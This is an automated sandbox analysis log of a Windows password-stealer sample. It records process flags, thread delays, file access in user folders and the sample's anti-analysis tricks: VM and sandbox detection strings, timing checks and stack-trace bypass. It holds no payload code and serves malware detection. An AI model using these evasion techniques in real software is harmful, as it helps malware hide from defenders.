Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\unregmp2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe PID: 1512, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\sc.exe	API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\sc.exe	API/Special instruction interceptor: Address: 7FFDB442D7E4
Source: C:\Windows\SysWOW64\sc.exe	API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\sc.exe	API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\sc.exe	API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\sc.exe	API/Special instruction interceptor: Address: 7FFDB442D1E4
Source: C:\Windows\SysWOW64\sc.exe	API/Special instruction interceptor: Address: 7FFDB4430154
Source: C:\Windows\SysWOW64\sc.exe	API/Special instruction interceptor: Address: 7FFDB442DA44

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Memory allocated: 1DF0A230000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Memory allocated: 1DF23BB0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe

Code function: 6_2_0334D1C0 rdtsc

6_2_0334D1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7145	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2323	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Window / User API: threadDelayed 9782	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Window / User API: foregroundWindowGot 721

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\sc.exe	API coverage: 3.0 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5360	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7012	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe TID: 2864	Thread sleep count: 190 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe TID: 2864	Thread sleep time: -380000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe TID: 2864	Thread sleep count: 9782 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe TID: 2864	Thread sleep time: -19564000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe TID: 5204	Thread sleep time: -70000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe TID: 5204	Thread sleep time: -37500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe TID: 5204	Thread sleep time: -31000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\sc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\sc.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\sc.exe

Code function: 13_2_02E1BCA0 FindFirstFileW,FindNextFileW,FindClose,

13_2_02E1BCA0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
